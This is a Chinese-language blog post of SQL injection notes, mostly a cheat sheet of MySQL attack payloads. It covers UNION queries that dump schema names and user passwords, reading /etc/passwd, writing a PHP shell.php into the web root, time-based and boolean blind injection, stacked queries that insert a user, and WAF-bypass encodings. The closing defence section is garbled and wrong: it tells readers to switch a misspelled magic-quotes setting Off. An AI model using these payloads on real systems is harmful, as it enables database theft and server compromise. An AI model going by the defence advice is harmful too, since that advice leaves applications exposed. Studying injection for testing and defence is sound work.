​ SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息

注入流程

image.png

MySQL、Redis

前置知识

尝试手工注入:
        SQL注入: 
        1.判断有无注入点   and 1 = 1; true 
        随便输入内容  ==  报错  注入
                      ==  没有注入
        2.猜解列名数量 order by %20 空格
        字段 4个

        3.报错,判断回显点 union 
        4.信息收集 
          数据库版本 version()
          高版本:5.0  
            系统库: infromation 。。。
          数据库名称:database()
          低版本:5.0 
        5.使用对应SQL进行注入  
            数据库库名:security
        . 下一级  
        infromation_schema.tables 查找表名
        table_name
        查询serurity库下面 所有的表名 

        database()


        = 前后 连到一起
        union select 1,group_concat(table_name),3 from information_schema.tables
        where table_schema=database()

        表: users
        如何查询表里面有那些字段? 
        user 字符 转行 16进制
        union select 1,group_concat(column_name),3 from information_schema.columns
        where table_name=0x7573657273

        username  password  字段数据  
        select username,password from users
        0x3a  :
        union select 1,2,(select group_concat(username,0x3a,password)from users)
        
判断闭合符号:
    id=1'
    id=1" 
    id=1') 
    id=1')) 
    id=1") 
    id=1"))

高权限注入

介绍

​ mysql中存在4个控制权限的表,分别为user表,db表,tables_priv表,columns_priv表

select * from user where user='root' and host='localhost'\G;

    mysql权限表的验证过程为:

    先从user表中的Host,User,Password这3个字段中判断连接的ip、用户名、密码是否存在,存在则通过验证。

    通过身份认证后,进行权限分配,
    按照user,db,tables_priv,columns_priv的顺序进行验证。
    即先检查全局权限表user,如果user中对应的权限为Y,则此用户对所有数据库的权限都为Y,
    将不再检查db, tables_priv,columns_priv;如果为N,则到db表中检查此用户对应的具体数据库,
    并得到db中为Y的权限;如果db中为N,则检查tables_priv中此数据库对应的具体表,取得表中的权限Y,以此类推。
 
 2.1 系统权限表
    User表:存放用户账户信息以及全局级别(所有数据库)权限,决定了来自哪些主机的哪些用户可以访问数据库实例,如果有全局权限则意味着对所有数据库都有此权限 
    Db表:存放数据库级别的权限,决定了来自哪些主机的哪些用户可以访问此数据库 
    Tables_priv表:存放表级别的权限,决定了来自哪些主机的哪些用户可以访问数据库的这个表 
    Columns_priv表:存放列级别的权限,决定了来自哪些主机的哪些用户可以访问数据库表的这个字段 
    Procs_priv表:存放存储过程和函数级别的权限


 2. MySQL 权限级别分为: 
    全局性的管理权限: 作用于整个MySQL实例级别 
    数据库级别的权限: 作用于某个指定的数据库上或者所有的数据库上 
    数据库对象级别的权限:作用于指定的数据库对象上(表、视图等)或者所有的数据库对象
 
 3.查看mysql 有哪些用户:
    mysql> select user,host from mysql.user;
 
 4.查看用户对应权限
 select * from user where user='root' and host='localhost'\G;  #所有权限都是Y ,就是什么权限都有
 
 5.创建 mysql 用户
    有两种方式创建MySQL授权用户

    执行create user/grant命令(推荐方式)
    CREATE USER 'finley'@'localhost' IDENTIFIED BY 'some_pass';
    通过insert语句直接操作MySQL系统权限表
 
 6.只提供id查询权限
 grant select(id) on test.temp to test1@'localhost' identified by '123456';
 
 7.把普通用户变成管理员
    GRANT ALL PRIVILEGES ON *.* TO 'test1'@'localhost' WITH GRANT OPTION;

 8.删除用户
    drop user finley@'localhost';

注入语句

查询所有数据库名称

?id=-2 union select 1,group_concat(schema_name),3 from information_schema.schemata

查询数据库对应表

?id=-2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x73716c5f6462

查询表名对应字段名

?id=-2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x73716c5f7461626c65

查看数据

?id=-2 union select 1,username,password,4,5,6 from sql_db.sql_table

文件读写

文件读写原理

​ 利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息

文件读写注入的条件

​ 高版本MySQL添加了一个新特性secure_file_priv,该选项限制了myslq导出文件的权限

secure_file_priv选项

# linux
cat /etc/conf

# windows
www/mysql
my.ini

利用

# 查看mysql全局变量配置
show global variables like '%secure%';

# 读写文件权限
secure_file_priv=                    # 对文件读写没有限制
secure_file_priv=NULL                # 对文件不能进行读写
secure_file_priv=/tmp/mysql/data    # 指定路径文件读写

### 常见网站绝对路径
# windows
    Phpstudy        phpstudy/www
                    phpstudy/PHPTutorial/www
    Xampp            xampp/htdocs
    Wamp            wamp/www
    Appser            appser/www
# linux
    /var/mysql/data
    /var/www/html
    
# 读取文件
load_file()
?id=-2 union select 1,load_file('/etc/passwd'),3,4,5,6 

# 写入文件
init outfile()
into dumpfile()

?id=-2 union select 1,<?php phpinfo();?>,3,4,5,6 outfile /var/www/html/shell.php
or
?id=-2 union select 1,<?php phpinfo();?>,3,4,5,6 dumpfile /var/www/html/shell.php

数据类型

数字型注入

http://xxx.xxx.com/users.php?id=1
select * from 表 where id =1 and 1=1;
http://xxx.xxx.com/users.php?id=1 and 1=1

字符型注入

http://xxx.xxx.com/user.php?name=admin
select * from 表 where name = 'admin';
http://xxx.xxx.com/user.php?name=admin' and 1 = 1'

搜索型注入

"nid=关键字"
select * from 表名 where 字段 like '%关键字%';
"nid=关键字' and '%1%'='%1%'"

其他注入

# 常见闭合符
'
"
%
(
{

提交方式

GET方式

get注入方式比较常见,主要是通过url中传输数据到后台,带入到数据库中去执行,可利用联合注入方式直接注入

POST方式

post提交方式主要适用于表单的提交,用于登录框的注入

方法:利用BurpSuite抓包进行重放修改内容进行,和get差别是需要借助抓包工具进行测试,返回结果主要为代码,也可转化为网页显示

Request方式

概念:超全局变量 PHP中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可以用,这些超全局变量是:
$_REQUEST(获取GET/POST/COOKIE)COOKIE在新版本已经无法获取了
$_POST(获取POST传参)
$_GET(获取GET传参)
$_COOKIE(获取COOKIE传参)
$_SERVER(包含了诸如头部信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)

HTTP头注

通常HTTP消息包括客户机向服务器的请求消息和服务器向客户机响应消息。 这两种类型的消息有一个起始行,一个或者多个头域,一个只是头域结束的空行和可选的消息体组成。 HTTP的头域包括通用头,请求头,响应头和实体头四个部分

Header头注

header注入,该注入是指利用后端验证客户端信息(比如常用的cookie验证)或者通过header中获取客户端的一些信息(比如User-Agent用户代理等其他header字段信息),因为这些信息在某些地方是会和其他信息一起存储到数据库中,然后再在前台显示出来,又因为后台没有经过相对应的信息处理所以构成了sql注入。

报错盲注

报错盲注

updatexml()

'or updatexml(1,concat(0x7e,database(),0x7e),1)'

extractvalue()

'or extractvalue(1,concat(0x7e,database(),0x7e))'

延时盲注

使用函数

sleep()                                    # 使计算机程序进入休眠
if(a,b,c)                                # 三目运算符,a条件成立,执行b,不成立执行c
mid(a,b,c)                                # b开始,截取a字符串的c位
substr(a,b,c)                            # b开始,截取a字符串的c位
left(database(),1);                        # left(a,b),从左侧截取a的前b为
length(database())=8                    # 判断长度
ord=ascii ascii(x)=100                    # 判断x的ascii值是否为100
sleep()

image.png

if()

image.png

length()
# 判断数据库长度
select * from 表 where id = 1 and sleep(if(length(database())=8,8,0));
mid()

image.png

substr()

image.png

left()

image.png

ascii()

image.png

sleep()与if()结合

image.png

适用场景ascii(),mid(),sleep()
select * from t1 where id=1 and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=120,sleep(3),0);
适用场景ascii(),substr(),sleep()
select * from t1 where id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=116,sleep(2),0);

布尔盲注

Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。

# 猜数据库名字
?id=1' and ascii(mid(database(),1,1))>115--+ 非正常
?id=1' and ascii(mid(database(),1,1))>116--+ 非正常
?id=1' and ascii(mid(database(),1,1))=115--+ 正常        # s
?id=1' and ascii(mid(database(),2,1))=101--+ 正常        # e
?id=1' and ascii(mid(database(),3,1))=99--+  正常        # c

# 猜表名
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+ 正确        # r
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101--+ 正确        # e

堆叠注入

SQL中,分号 ;是用来表示一条sql语句的结束

?id=1';insert into users(id,username,password) values ('22','hacker','hacker')--+

WAF绕过

关键词大小写绕过

union select  -------------------->  unIoN SelECT

编码绕过

union select 1,2,3#  ---------------> union%0aselect 1\u002c2,3%23

双写绕过

union select --------------------> uNiUNIonion selSeLectEct aNdANd

换行绕过

select * from admin where username ----------------------> \N union select 1,user() from admin

注释符内联注释

union selecte ---------------> /*!union*/ select

同义词替换

and=&&

or=||

=(等于号)=<、>

空格不能使用=%09,%0a,%0b,%0c,%0d,%20,%a0等
注:%0a是换行也可以替代空格

HTTP参数污染

?id=1/**&id=-1%20union%20select%201,2,3%23*/

其他

# order by 绕过(V4.0)
%20/*//--/*/

# 联合绕过
union /*!--+/*%0aselect/*!1,2,3*/ --+

# from绕过
/*!06447%23%0afrom*/

SQL注入防御

魔术引号

magic_guptes_gpc = On
改为
magic_guptes_gpc = Off

内置函数

数据类型过滤

is_int()
addslashes()
mysql_real_escape_string()
mysql_escape_string()
......

自定义关键字

str_replace()
例如:str_replace('select','union','and','or'...)
最后修改:2024 年 10 月 09 日
如果觉得我的文章对你有用,请随意赞赏